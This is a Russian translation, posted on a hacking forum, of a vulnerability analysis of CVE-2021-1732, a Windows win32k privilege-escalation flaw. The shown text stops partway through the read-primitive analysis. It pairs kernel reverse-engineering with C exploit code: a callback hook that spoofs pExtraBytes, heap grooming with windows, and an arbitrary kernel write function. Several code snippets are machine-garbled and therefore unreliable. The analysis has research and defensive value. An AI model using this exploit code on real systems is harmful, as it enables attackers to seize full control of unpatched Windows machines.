• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2021-1732 Заметки об исследовании уязвимости, связанной с повышением привилегий

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265

Оригинальная статья

Переведено специально для xss.pro
Камнями кадать Jolah Milovski

Введение​

1. Описание уязвимости​

В процессе создания окна функцией win32kfull!xxxCreateWindowEx, когда созданный оконный объект имеет расширенную память, он вернется на пользовательский уровень через функцию KeUserModeCallback для подачи заявки на требуемую память. При возврате к ядру для продолжения выполнения адрес, указанный в функции пользовательского уровня, будет сохранен в элементе pExtraBytes объекта окна со смещением 0x128. Когда пользовательский уровень вызывает функцию SetWindowLongPtr для окна, функция будет использовать pExtraBytes для указания целевого адреса для записи. Захватив выполнение функции пользовательского уровня, функция SetWindowLongPtr может быть записана на недопустимый адрес для генерации BSOD, а cbwndExtra других окон может быть расширена путем вычислений, тем самым реализуя произвольное чтение и запись адреса и, наконец, реализуя повышение привилегий.

2. Экспериментальная среда​

  • ОС: Win10 x64 1909 Профессиональная
  • Компилятор: Visual Studio 2017
  • Отладчик: IDA Pro, WinDbg

2. Анализ уязвимостей​

1. Ключевые элементы структуры​

Новая версия Win10 изменяет многие структуры в win32k* и не экспортирует их. Таким образом, следующие члены могут быть получены только путем предположений. Первый — это структура tagTHREADINFO, в которой хранится информация о потоке, а по смещению 0x1C0 хранится структура tagDESKTOP:

Код:
1: kd> dt tagTHREADINFO
   +0x1C0 rpdesk           : Ptr64 tagDESKTOP

Смещение TagDESKTOP 0x80 сохраняет pheapDesktop, который сохраняет базовый адрес кучи рабочего стола:

Код:
0: kd> dt tagDESKTOP
   +0x080 pheapDesktop     : Ptr64 tagWIN32HEAP

В tagWND произошли большие изменения. Расширенная память окна больше не находится непосредственно после tagWND. Когда флаги по смещению 0xE8 не содержат метки 0x800, адрес расширенной памяти хранится непосредственно в pExtraBytes 0x128. Флаги содержат метку 0x800. В это время расширенная память существует в куче рабочего стола, а смещение от базового адреса кучи рабочего стола хранится в pExtraBytes 0x128. Смещение 0x28 указывает на структуру tagWDNK, а смещения 0x8 и 0x30 сохраняют смещение адреса, на которое указывает 0x28, до адреса кучи рабочего стола:

Код:
2: kd> dt tagWND
   +0x000 h               : Ptr64 Void
   +0x008 DesktopOffset   : Uint8B
   +0x010 pti             : Ptr64 tagTHREADINFO
   +0x018 rpdesk          : Ptr64 tagDESKTOP
   +0x020 pSelf           : Ptr64 tagWND
   +0x028 ptagWNDK        : Ptr64 tagWNDK
   +0x030 DesktopOffset   : Uint8B
   +0x058 Left            : Uint4B
   +0x05C Right           : Uint4B       
   +0x098 spMenu          : Ptr64 tagMENU
   +0x0C8 cbwndExtra      : UInt4B
   +0x0E8 Flags           : UInt4B
   +0x128 pExtraBytes     : Uint8B

На tagMENU указывает смещение 0xA8, здесь нужно только знать, что pSelf структуры tagMENU со смещением 0x98 указывает на сам tagMENU, а структура tagWDNK 0x28 выглядит следующим образом:

Код:
struct tagWNDK
{
    ULONG64 hWnd;               //+0x00
    ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDKRelative Desktop Heap Base Address Offset
    ULONG64 state;              //+0x10
    DWORD dwExStyle;            //+0x18
    DWORD dwStyle;              //+0x1C
    BYTE gap[0x38];
    DWORD rectBar_Left;         //0x58
    DWORD rectBar_Top;          //0x5C
    BYTE gap1[0x68];
    ULONG64 cbWndExtra;         //+0xC8 窗口扩展内存的大小
    BYTE gap2[0x18];
    DWORD dwExtraFlag;          //+0xE8  Determine SetWindowLong addressing mode
    BYTE gap3[0x10];            //+0xEC
    DWORD cbWndServerExtra;     //+0xFC
    BYTE gap5[0x28];
    ULONG64 pExtraBytes;    //+0x128 Mode 1: Kernel Offset Mode 2: User State Pointer
};

2. Анализ функции HMAllocObject​

Функция определяется следующим образом: если третий параметр bType указан как TYPE_WINDOW(0x1), он будет использоваться для создания объекта окна:

Код:
PVOID HMAllocObject(PTHREADINFO ptiOwner,
                    PDESKTOP pdeskSrc,
                    BYTE bType,
                    DWORD size);


Основной код функции выглядит следующим образом:

Код:
unsigned __int64 __fastcall hmallocobject (__ int64 ptiowner, __int64 pdesksrc, unsigned __int8 btype, unsigned into))
{{
  v9 = *((_ word *) & gahti + 0xc *type + 6);
 
  if ((V9 & 0x10)! = 0 && PDESKSRC)
  {{
    if (int) isdesktopallocSupported () <0)
      Goto label_67;
    tagwnd = (unsignet __int64) hmallocateuseusersolailetype (v5, v9, type); // Create a tagwnd object
    if (! tagwnd)
      Goto label_67;
    ptagwndk = desktopalloc (pDESKSRC,
                            *(unsigned int *) ((char *) & gahti + v38 + 0x10),
                            (UnsigNed __int8) Type << 16 | 5U); // Create a tagwndk object
    *(_ QWord *) (tagwnd + 0x28) = ptagwndk; // tagwnd-> ptagwndk assigned to the Tagwndk object created
    if (! ptagwndk)
    {{
      HMFREEUSERORISOLOTEDTYPE (v9, Type, (void *) tagwnd);
      Goto label_67;
    }
    LockObjectAssignment (void **) (tagwnd + 0x18), (void *) pdesksrc);
    ptagwndk = *(_ qWord *) (tagwnd + 0x28);
    *(_ QWord *) (tagwnd + 0x20) = tagwnd; // assign a value for tagwnd-> p set
    *(_ QWord *) (tagwnd + 0x30) = ptagwndk - *(_ qword *) (pDesksrc + 0x80); // Plagwndk and PHEAPDESKTOP's offset assignment to Tagwnd at 0x30
  }
    
  hwnd = (int) v15 | (UNSIGNED __INT64) ( *(unsigned __int16 *) ((char *) qWord_1C0215758
                                                           + V15 * (unsigned into) dword_1C0215760
                                                           + 0x1a) << 16); // Get the window handle
  *(_ QWord *) tagwnd = hwnd; // assign a value to tagwnd-> hwnd
  if ( *(_ dword *) ((char *) & gahti + v38 + 0x10)
  {{
    ptagwndk = *(_ qWord *) (tagwnd + 0x28);
    *(_ QWord *) ptagwndk = hwnd; // Assign a value to ptagwndk-> hwnd
    *(_ QWord *) (ptagwndk + 8) = *(_ qWord *) (tagwnd + 0x30); // The offset assignment of PTAGWNDK and PHEAPDESKTOP to PTAGWNDK offset 0x8
  }
  
  Return tagwnd;
}

Анализ функции xxxCreateWindowEx​

Получим rpdesk из gptiCurrent, а затем вызовите функцию HMAllocateObject для применения к объекту tagWND:

Код:
.text:00000001C003BCCB                 mov     rax, cs:__imp_gptiCurrent
.text:00000001C003BCD2                 mov     r14, [rax]
.text:00000001C003BCD5                 mov     [rsp+4E8h+var_488], r14
.text:00000001C003BCDA                 mov     [rsp+4E8h+var_370], r14
.text:00000001C003C1E2                 mov     r15, [rsp+4E8h+var_370]
.text:00000001C003BDDC                 mov     rax, [r14+1C0h]                  ; rax = tagTHREADINFO->rpdesk
.text:00000001C003BDE3                 mov     [rsp+4E8h+rpdesk], rax
        // 省略部分代码
.text:00000001C003C198                 xor     ebx, ebx
.text:00000001C003C1AC                 lea     esi, [rbx+1]
.text:00000001C003C347                 mov     r9d, 150h            ; r9d = 0x150
.text:00000001C003C34D                 mov     r8b, sil            ; r8d = 1   
.text:00000001C003C350                 mov     rdx, [rsp+4E8h+pdesk]    ; rdx = rpdesk
.text:00000001C003C358                 mov     rcx, r15              ; rcx = ptiCurrent
.text:00000001C003C35B                 call    cs:__imp_HMAllocObject
.text:00000001C003C362                 nop     dword ptr [rax+rax+00h]
.text:00000001C003C367                 mov     r15, rax                 ; Assign tagWND to r15
.text:00000001C003C36A                 mov     [rsp+4E8h+var_tagWND], rax
.text:00000001C003C372                 test    rax, rax
.text:00000001C003C375                 jnz     short loc_1C003C3BF

Вызовите tagWND::RedirectedFieldcbwndExtra<int>::operator!=, чтобы оценить cbWndExtra, чтобы определить, есть ли расширенная память.Если она существует, она вызовет xxxClientAlloWindowClassExtraBytes для создания расширенной памяти:

Код:
.text:00000001C003CDDB                 mov     dword ptr [rsp+4E8h+var_3F8], edi ; edi=0
.text:00000001C003CDE2                 lea     rcx, [r15+0B1h]
.text:00000001C003CDE9                 lea     rdx, [rsp+4E8h+var_3F8]
.text:00000001C003CDF1                 call    ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &)
.text:00000001C003CDF6                 test    al, al
.text:00000001C003CDF8                 jz      short loc_1C003CE44
.text:00000001C003CDFA                 mov     rax, [r15+28h]  ; rax = tagWND->ptagWNDK
.text:00000001C003CDFE                 mov     ecx, [rax+0C8h] ; rcx = tagWNDK->cbwndExtra
.text:00000001C003CE04                 call    xxxClientAllocWindowClassExtraBytes
.text:00000001C003CE09                 mov     rcx, rax        ; Request memory address assigned to ecx
.text:00000001C003CE0C                 mov     rax, [r15+28h]  ; rax = tagWND->ptagWNDK
.text:00000001C003CE10                 mov     [rax+128h], rcx ; Application memory address assigned to tagWNDK->pExtraBytes

4. Анализ функции xxxClientAllocWindowClassExtraBytes​

Основной код функции xxxClientAllocWindowClassExtraBytes выглядит следующим образом: функция вызывает KeUserModeCallback, чтобы инициировать обратный вызов пользовательского уровня для применения к памяти. После возврата с пользовательского уровня функция оценит длину вывода и адрес вывода, после чего вернет запрошенный адрес памяти:

Код:
const void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
  LODWORD(pInputBuffer) = Length;
  ret = KeUserModeCallback(0x7Bi64, &pInputBuffer, 4i64, &pOutputBuffer, &nOutLen);
  if ( ret < 0 || (_DWORD)nOutLen != 0x18 )     //Output length equal to 0x18
    return 0i64;
  v3 = pOutputBuffer;
  if ( pOutputBuffer + 1 < pOutputBuffer || (unsigned __int64)(pOutputBuffer + 1) > *(_QWORD *)MmUserProbeAddress )
    v3 = *(__int64 **)MmUserProbeAddress;
  pAllocBuffer = (const void *)*v3;
  ProbeForRead(pAllocBuffer, size, v5 != 0 ? 1 : 4);
  return pAllocBuffer;
}

Реализация функции пользовательского уровня показана ниже, функция обращается за памятью необходимого размера через RtlAllocateHeap, затем помещает ее в Result[0], а затем возвращает запрошенную память через массив Result в ядро через функцию NtCallbackReturn слой, второй параметр используется для указания длины возвращаемых данных:

1660626472258.png


5. Анализ функции xxxSetWindowLongPtr​

Функция xxxSetWindowLongPtr используется для записи в расширенную область окна. Когда nIndex меньше 0, функция вызовет xxxSetWindowData для записи значения:

Код:
.text:00000001C008D383                 test    edi, edi        ; nIndex >= 0则跳转
.text:00000001C008D385                 jns     loc_1C008D487
.text:00000001C008D38B                 mov     r9d, r12d
.text:00000001C008D38E                 mov     r8, r15
.text:00000001C008D391                 mov     edx, edi
.text:00000001C008D393                 mov     rcx, rsi        ; struct tagWND *
.text:00000001C008D396                 call    xxxSetWindowData
.text:00000001C008D39B                 mov     rdi, rax

Если nIndex больше или равно 0, функция оценит, больше ли nIndex + 8, чем cbwndExtra, если больше, установит ошибку, а затем выйдет из функции:

Код:
.text:00000001C008D487 loc_1C008D487:                         
.text:00000001C008D487                 mov     r8, [rsi+28h]   ; r8 = tagWND->ptagWNDK
.text:00000001C008D48B                 mov     ecx, [r8+0C8h]  ; ecx = ptagWNDK->cbwndExtra
.text:00000001C008D492                 mov     r9d, [r8+0FCh]  ; 该偏移的成员为知,但是值为0
.text:00000001C008D499                 add     ecx, r9d
.text:00000001C008D49C                 mov     eax, edi        ; eax = nIndex
.text:00000001C008D49E                 add     rax, 8
.text:00000001C008D4A2                 cmp     rax, rcx
.text:00000001C008D4A5                 ja      loc_1C008D696   ; 如果nIndex + 8 > cbwndExtra,则跳转
.text:00000001C008D696 loc_1C008D696:                     
.text:00000001C008D696                 mov     ecx, 585h
.text:00000001C008D69B                 call    UserSetLastError
.text:00000001C008D6A0                 test    bl, bl
.text:00000001C008D6A2                 jnz     loc_1C01855D0
.text:00000001C008D6A8                 xor     eax, eax
.text:00000001C008D6AA                 jmp     loc_1C008D3A9


Если nIndex + 8 <= cbwndExtra, функция определит, помечен ли объект окна 0x800, если есть метка 0x800, регистру r8 будет присвоено значение nIndex + pExtraBytes:

Код:
text: 00000001c008d4e2 test dword ptr [R8+0E8H], 800H; ptagwndk-> Flags contains 0x800 marks
.text: 00000001c008d4ed 4ed jnz Loc_1C018566C
.text: 00000001C008d4F3 MOV Rax, [R8+128H]; Rax = ptagwndk-> PextRabytes
.text: 00000001C008d4Fa Movsxd R8, EDI; R8 = NINDEX
.text: 00000001C008d4FD ADD R8, RAX; R8 = Nindex + PextRabytes

Без флага 0x800 регистру r8 присваивается значение pheapDesktop + nIndex + pExtraBytes:

Код:
.text:00000001C018566C loc_1C018566C:     
.text:00000001C018566C                 mov     rdx, [r8+128h]  ; rdx = ptagWNDK->pExtraBytes
.text:00000001C0185673                 mov     rax, [rsi+18h]  ; rax = tagWND->rpdesk
.text:00000001C0185677                 movsxd  rcx, edi        ; rcx = nIndex
.text:00000001C018567A                 mov     r8, [rax+80h]   ; r8 = tagDESKTOP->pheapDesktop
.text:00000001C0185681                 add     r8, rcx         ; r8 = pheapDesktop + nIndex
.text:00000001C0185684                 add     r8, rdx         ; r8 = pheapDesktop + nIndex + pExtraBytes
.text:00000001C0185687                 jmp     loc_1C008D500

Независимо от того, помечен ли он 0x800 или нет, после назначения r8 функция сохранит содержимое адреса, на который указывает r8, в локальную переменную и назначит dwNewLong адресу, на который указывает r8:

Код:
.text: 00000001C008d500 LOC_1C008D500:
.text: 00000001C008d500 MOV RDI, [R8]
.text: 00000001c008d503 MOV [RSP+88H+VAR_OLDNEW], RDI
.text: 00000001C008d508 MOV [R8], R15; assigned dwnewlong to the address pointed by the register
.text: 00000001c008d50b JMP LOC_1C008d39e

3. Проверка уязвимости​

1. Изменить pExtraBytes​

Поскольку функция xxxCreateWindowEx не проверяет правильность адреса, указанного пользовательским уровнем через функцию NtCallbackReturn, она присваивает его pExtraBytes объекта окна. При вызове SetWindowLongPtr в соответствующем окне pExtraBytes будет напрямую использоваться для указания адресов чтения и записи. Следовательно, перехватив xxxClientAllocWindowClassExtraBytes пользовательского уровня, можно указать pExtraBytes как конкретное значение для запуска BSOD.

Для того, чтобы модифицировать функцию в указанном окне, при первом создании окна запускающей уязвимости размер расширенной памяти, то есть cbwndExtra, нужно указать в виде конкретного значения:

Код:
BOOL InitTriggerWnd()
{
    BOOL bRet = TRUE;
 
    HINSTANCE handle = NULL;
 
    handle = GetModuleHandle(NULL);
    if (!handle)
    {
        bRet = FALSE;
        ShowError("GetModuleHandle", GetLastError());
        goto exit;
    }
 
    PCHAR pClassName = "Trigger";
    WNDCLASSEX wndClass = { 0 };
 
    wndClass.cbSize = sizeof(wndClass);
    wndClass.lpfnWndProc = DefWindowProc;
    wndClass.style = CS_VREDRAW | CS_HREDRAW;
    wndClass.cbWndExtra = g_dwWndExtra;           // 指定特定的大小
    wndClass.hInstance = handle;
    wndClass.lpszClassName = pClassName;
 
    if (!RegisterClassEx(&wndClass))
    {
        bRet = FALSE;
        ShowError("RegisterClassEx", GetLastError());
        goto exit;
    }
 
    g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,
                           pClassName,
                       NULL,
                       WS_DISABLED,
                       0, 0, 0, 0,
                       NULL,
                       NULL,
                       handle,
                       NULL);
 
    if (!g_hTriggerWnd)
    {
        bRet = FALSE;
        ShowError("CreateWindowEx", GetLastError());
        goto exit;
    }
 
exit:
    return bRet;
}

Далее, в функции можно судить о том, является ли оно целевым окном по размеру применяемой памяти:

Код:
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
    if (*(PDWORD)arg0 == g_dwWndExtra)
    {
        BYTE bRes[0x18] = { 0 };
        // Set tagWND->pExtraBytes
        *(PULONG64)bRes = 0x100;
        return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
    }
 
    return g_orgClientAllocWindowExtraBytes(arg0);
}

В это время вы можете установить точку останова на позиции ключа в xxxSetWindowLongPtr, потому что Флаги созданного оконного объекта не будут помечены 0x800, поэтому функция будет напрямую вынимать pExtraBytes для чтения и записи, а адрес в это время является указанным недопустимым 0x100. Само собой разумеется, что BSOD произойдет, если выполнение продолжится, но на самом деле, если функция продолжит работу, функция выйдет напрямую (должен быть какой-то механизм обработки).

1660626710505.png


2. Анализ функции xxxConsoleControl​

xxxSetWindowLongPtr будет использовать tagWND->Flags для выбора различных способов указания адреса для чтения и записи.Чтобы добавить тег 0x800 к Flags, это можно реализовать через функцию xxxConsoleControl, которая определяется следующим образом:

Код:
__int64 __fastcall xxxConsoleControl(int nIndex,
                                     struct _CONSOLE_PROCESS_INFO *pInfo,
                                     int nInLength);

Чтобы получить код, изменяющий маркер, параметр nIndex равен 6, а параметр nInLength равен 0x10. После выполнения этих двух пунктов функция xxxConsoleControl возьмет дескриптор окна из параметра pInfo и получит соответствующий объект окна через ValidateHwnd:

Код:
.text:00000001C00E0571                 mov     edi, r8d        ; edi = nLength
.text:00000001C00E0580                 test    ecx, ecx
.text:00000001C00E0582                 jz      loc_1C01A3F71
.text:00000001C00E0588                 sub     ecx, 1
.text:00000001C00E058B                 jz      loc_1C00E0671
.text:00000001C00E0591                 sub     ecx, 1
.text:00000001C00E0594                 jz      loc_1C01A3F5B
.text:00000001C00E059A                 sub     ecx, 1
.text:00000001C00E059D                 jz      loc_1C00E0686
.text:00000001C00E05A3                 sub     ecx, 1
.text:00000001C00E05A6                 jz      loc_1C01A3F30
.text:00000001C00E05AC                 sub     ecx, 1          ; nIndex - 5 != 0
.text:00000001C00E05AF                 jnz     loc_1C00E06A3
        // Omit part of the code
.text:00000001C00E06A3 loc_1C00E06A3:                         
.text:00000001C00E06A3                 cmp     ecx, 1          ; nIndex = 6不跳转
.text:00000001C00E06A6                 jnz     loc_1C01A3F12
.text:00000001C00E06AC                 cmp     edi, 10h        ; nInLength == 0x10不跳转
.text:00000001C00E06AF                 jnz     loc_1C01A3F71
.text:00000001C00E06B5                 mov     rcx, [rdx]      ; rcx = [pInfo]
.text:00000001C00E06B8                 call    cs:__imp_ValidateHwnd
.text:00000001C00E06BF                 nop     dword ptr [rax+rax+00h]
.text:00000001C00E06C4                 mov     rdi, rax        ; rdi = tagWND


Определите, отмечены ли флаги 0x800:

Код:
text:00000001C00E0772                 test    dword ptr [rcx+0E8h], 800h ; tagWND->Flags Does it contain 0x800
.text:00000001C00E077C                 jz      short loc_1C00E07BE

Поскольку созданное окно не помечено 0x800, функция вызовет DesktopAlloc для запроса новой памяти:

Код:
.text: 00000001C00E07BE LOC_1C00E07BE:
.text: 00000001C00E07BE MOV EDX, [RCX+0C8H]; edx = tagwnd-> cbwndextra
.text: 00000001C00E07C4 XOR R8D, R8D
.text: 00000001C00E07C7 MOV RCX, [RDI+18H]; RCX = TAGWND-> RPDESK
.text: 00000001c007cb call desktopalloc
.text: 00000001C00E07d0 MOV R14, RAX; R14 = Application memory address
.text: 00000001c00E07d3 MOV [RSP+0b8h+VAR_HEAP], rax; saved in a local variable
.text: 00000001C007d8 test rax, rax, rax
.text: 00000001C007db JZ LOC_1C01A3F1C

Затем присвойте смещение, полученное вычитанием pheapDesktop из только что созданного адреса памяти, ptagWNDK->pExtraBytes:

Код:
.text: 00000001C00E0876 LOC_1C00E0876:
.text: 00000001C00E0876 MOV Rax, [RDI+18H]; rax = tagwnd-> RPDESK
.text: 00000001C00E087a MOV RCX, R14; RCX is equal to the memory just applied
.text: 00000001c00e087d sub rcx, [rax+80H]; RCX = Newly applying memory minus RPDESK-> PHEAPDESKTOP
.text: 00000001c00e0884 mov rax, [R15]; Rax = tagwnd-> ptagwndk
.text: 00000001C00E0887 MOV [RAX+128H], RCX; PTAGWNDK-> PEXTRABYTES = RCX
.text: 00000001C00E088E JMP LOC_1C00E0790

После этого добавьте тег 0x800 в Flags:

Код:
.text: 00000001C007a2 LOC_1C00E07A2:
.text: 00000001C00E07A2 MOV RAX, [R15]; Rax = tagwnd-> PTAGWNDK
.text: 00000001C007A5 BTS DWORD PTR [RAX+0E8H], 0bh; set PTAGWNDK-> Flags 0xb bit to 1, that is, add 0x800 mark to Flags

3. Триггер уязвимости​

Для успешного срабатывания уязвимости необходимо добавить флаг 0x800 в Flags через функцию xxxConsoleControl, но при вызове xxxConsoleControl необходимо передать дескриптор окна.Во время выполнения xxxClientAllocWindowClassExtraBytes в пользовательском слое функция CreateWindow в пользовательский слой еще не вернулся, т.к. не получен дескриптор окна. Однако до того, как функция xxxCreateWindowEx вызовет xxxClientAllocWindowClassExtraBytes, дескриптор окна был назначен смещению объекта окна 0x0.

Поэтому сначала может быть создано большое количество окон, а затем часть из них может быть освобождена, так что память, занятая окном, запускающим уязвимость, будет занята этими освобожденными окнами.

Код:
BOOL Init_cve_2021_1732 ()
{{
    BOOL BRET = TRUE;
    Dword I = 0;
 
    lhmvalidatehandle hmvalidatehandle = null;
 
    Hmvalidatehandle = (LHMVALIDATEHANDLE) gethmvalidatehandle ();
    if (! hmvalidatehandle)
    {{
        bret = false;
        Goto EXIT;
    }
 
    Hinstance handle = null;
 
    handle = getModulehandle (null);
    if (! Handle)
    {{
        bret = false;
        Showerror ("getModulehandle", getLasterRor ());
        Goto EXIT;
    }
 
    WNDCLASSEX WNDCLASS = {0};
    Pchar pClassName = "Leak";
 
    wndclass.cbwndextra = 0x20;
    wndclass.cbsize = sizeof (wndclass);
    wndclass.style = cs_vredraw | cs_hredraw;
    wndclass.hinstance = handle;
    wndclass.lpfnwndProc = DEFWINDOWPROC;
    wndclass.lpszClassName = pClassName;
 
    If (! Registerclassex (& wandclass))
    {{
        bret = false;
        Showerror ("registerClassex", getLasterRor ());
        Goto EXIT;
    }
 
    Hwnd hwnd = null;
 
    for (i = 0; I <g_dwwinnum; i ++)
    {{
        hwnd = createWindowex (WS_EX_NOACTIVATE,
                      pClassName,
                      Null,
                          Ws_disabled,
                      0, 0, 0, 0, 0,
                      Null,
                      Null,
                      Handle,
                          Null);
        if (! hwnd) Continue;
 
        g_hwnd [i] = hwnd;
        g_pwnd [i] = (ulong64) hmvalidatehandle (hwnd, type_window);
    }
    
    // Release part of the window, and then create a window that triggers vulnerabilities will take up one of these windows.
    For (i = 2; I <g_dwwinnum; i += 2)
    {{
        if (g_hwnd [i])
        {{
            Destroywindow (g_hwnd [i]);
        }
    }
 
exit:
    Return bret;
}

На этом этапе вы можете найти окно, вызвавшее уязвимость, в выпущенном окне, а затем изменить флаг окна, чтобы он возвращал указанный адрес:

Код:
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
    if (*(PDWORD)arg0 == g_dwWndExtra)
    {
        HWND hTriggerWnd = NULL;
        DWORD i = 0;
 
        for (i = 2; i < g_dwWinNum; i += 2)
        {
            if (g_hWnd[i])
            {
                DWORD cbWndExtra = *(PDWORD)(g_pWnd[i] + g_cbWndExtra_offset);
                if (cbWndExtra == g_dwWndExtra)
                {
                    hTriggerWnd = (HWND)*(PULONG64)g_pWnd[i];
                    break;
                }
            }
        }
 
        if (hTriggerWnd)
        {
            
            BYTE bInfo[0x10] = { 0 };
 
            // tagWND->Flag |= 0x800
            *(HWND *)bInfo = hTriggerWnd;
            fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
            
            BYTE bRes[0x18] = { 0 };
 
            // Set Tagwnd-> PEXTRABYTES
            *(PULONG64)bRes = 0xFFFFFF00;
            return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
        }
        else printf("do not find hTriggerWnd\n");
    }
 
    return g_orgClientAllocWindowExtraBytes(arg0);
}

Снова установите точку останова на xxxSetWindowLongPtr. В это время флаги окна отмечены 0x800, поэтому адрес памяти для чтения и записи будет рассчитываться разными методами.Этот адрес недействителен:

1660627092638.png


Продолжение запуска приводит к ошибке BSOD:

1660627110114.png



4. Использование уязвимостей​

Из вышеизложенного можно получить следующее:


  • ptagWNDK сохраняется в tagWNDK + 8 — pheapDesktop
  • При добавлении метки 0x800 через xxxConsoleControl pExtraBytes окна будет изменен на вновь примененный адрес памяти за вычетом значения pheapDesktop.
  • Когда флаги содержат 0x800, адрес, который будет читаться и записываться SetWindowLongPtr, представляет собой значение pheapDesktop + nIndex + pExtraBytes.
  • Когда Flags не содержит флаг 0x800, адрес, который будет читаться и записываться SetWindowLongPtr, равен pExtraBytes + nIndex.
Значение pheapDesktop такое же, и теперь можно изменить pExtraBytes и добавить 0x800 к флагам. На данный момент идея реализации записи произвольного адреса такова:

  1. Создайте два окна, tagWND0, tagWND1
  2. Добавьте метку 0x800 к tagWND0, чтобы tagWND0->pExtraBytes сохранял смещение от pheapDesktop.
  3. В функции xxxClientAllocWindowClassExtraBytes пользовательского уровня при вызове функции NtCallbackReturn для возврата измените адрес на смещение, сохраненное в tagWND0 + 8, чтобы вызов SetWindowLongPtr в окне, вызывающем уязвимость, мог напрямую расширить cbwndExtra в tagWND0.
  4. Поскольку pExtraBytes tagWND0 указывает на смещение pheapDesktop, а tagWNDK1 тоже хранится по смещению относительно pheapDesktop, и это значение можно получить через tagWND1 + 8, то можно вычислить смещение tagWND0->pExtraBytes и tagWND1 + 8 shift . А поскольку cbwndExtra tagWND0 увеличен, pExtraBytes tagWND1 можно напрямую изменить через tagWND0.
  5. Поскольку tagWND1 не имеет метки 0x800, вызов SetWindowLongPtr непосредственно для tagWND1 будет выполнять прямую запись по адресу, на который указывает pExtraBytes, тем самым реализуя произвольную запись адреса.
Когда окно было освобождено ранее, окно было освобождено от нижнего индекса 2, потому что первое и второе созданные окна использовались как tagWND0 и tagWND1 для последующего использования. На этом этапе при создании окна в цикле вам нужно добавить метку 0x800 к 0-му созданному окну и записать смещение, которое вам нужно использовать:

Код:
if (i == 0)
        {
            g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);
            BYTE bInfo[0x10] = { 0 };
            *(HWND *)bInfo = g_hWnd[0];
            fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
 
            g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);
        }

Bы можете рассчитать смещение, необходимое на шаге 4:

Код:
g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
 
if (g_qwWndOffset > g_qwKernelHeapOffset1)
{
    bRet = FALSE;
    printf("g_pWnd[0] offset is invalid!\n");
    goto exit;
}
 
g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;

На этом этапе для окна, вызывающего уязвимость, возвращаемое значение необходимо изменить на сохраненное значение tagWDN0 + 8:

Код:
       if (hTriggerWnd)
        { 
            BYTE bInfo[0x10] = { 0 };
 
            // tagWND->Flag |= 0x800
            *(HWND *)bInfo = hTriggerWnd;
            fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
            
            BYTE bRes[0x18] = { 0 };
 
            // Set Tagwnd-> PEXTRABYTES
            *(PULONG64)bRes = g_qwKernelHeapOffset0;
            return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
        }

Когда окно для срабатывания уязвимости создано, cbwndExtra tagWND0 может быть расширен функцией:

Код:
//Set the CBWNDEXTRA of G_HWND [0] to 0xffffffff
if (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset, 0xFFFFFFFF) &&
    GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}

Теперь вы можете писать на любой адрес, изменяя pExtraBytes от tagWND1 до tagWND0:

Код:
BOOL WriteData_CVE_2021_1732(PVOID pTarAddress, QWORD qwValue)
{
    BOOL bRet = TRUE;
 
    if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + g_ExtraBytes_offset, (QWORD)pTarAddress) &&
        GetLastError() != 0)
    {
        bRet = FALSE;
        ShowError("SetWindowLongPtr", GetLastError());
        goto exit;
    }
 
    if (!SetWindowLongPtr(g_hWnd[1], 0, qwValue) && GetLastError() != 0)
    {
        bRet = FALSE;
        ShowError("SetWindowLongPtr", GetLastError());
        goto exit;
    }
 
exit:
    return bRet;

2.Чтение любого адреса осуществляется функцией GetMenuBarInfo, которая определяется следующим образом, где третий параметр pmbi->rcBar используется для записи считанного значения:​


Код:
BOOL
WINAPI
GetMenuBarInfo(
    _In_ HWND hwnd,
    _In_ LONG idObject,
    _In_ LONG idItem,
    _Inout_ PMENUBARINFO pmbi);
 
typedef struct tagMENUBARINFO {
  DWORD cbSize;
  RECT  rcBar;
  HMENU hMenu;
  HWND  hwndMenu;
  BOOL  fBarFocused:1;
  BOOL  fFocused:1;
} MENUBARINFO, *PMENUBARINFO;
 
typedef struct _RECT {
  LONG left;
  LONG top;
  LONG right;
  LONG bottom;
} RECT, *PRECT;

Функция ядра, соответствующая GetMenuBarInfo, является функцией xxxGetMenuBarInfo. Основной код этой функции выглядит следующим образом. Существует три проверки. После прохождения проверки адрес, сохраненный в *(spMenu + 0x58), будет использоваться для чтения соответствующего значения средний:

Код:
__int64 __fastcall xxxGetMenuBarInfo(ULONG_PTR pwnd, __int64 idObject, __int64 idItem, __int64 pmbi)
{
  switch ( idObject )
  {
    case -3:                               // idObject == -3,First place to verify
      if ( (*(_BYTE *)(spMenu + 0x1F) & 0x40) != 0 )
        goto LABEL_9;
      spMenu = *(_QWORD *)(pwnd + 0xA8);             // tagWND->spMenu Return if it does not exist, second place to verify
      if ( !spMenu )
        goto LABEL_9;
      SmartObjStackRefBase<tagMENU>::operator=(&kspMenu, spMenu);  // kspMenu = spMenu->spSelf
 
      if ( *(_DWORD *)(*kspMenu + 0x40) && *(_DWORD *)(*kspMenu + 0x44)) // *(spMenu + 0x40) != 0 && *(spMenu + 0x44) != 0,Third validation
      {
        if ( (_DWORD)IdItem )                   // idItem == 1
        {
          ptagWNDk = *(_QWORD *)(pwnd + 0x28);
          num_0x60 = 0x60 * IdItem;
          rgItemListEntry = *(_QWORD *)(*kspMenu + 0x58);
          tarAddr = *(_QWORD *)(0x60 * IdItem + rgItemListEntry - 0x60);// tarAddr = *(spMenu + 0x58)
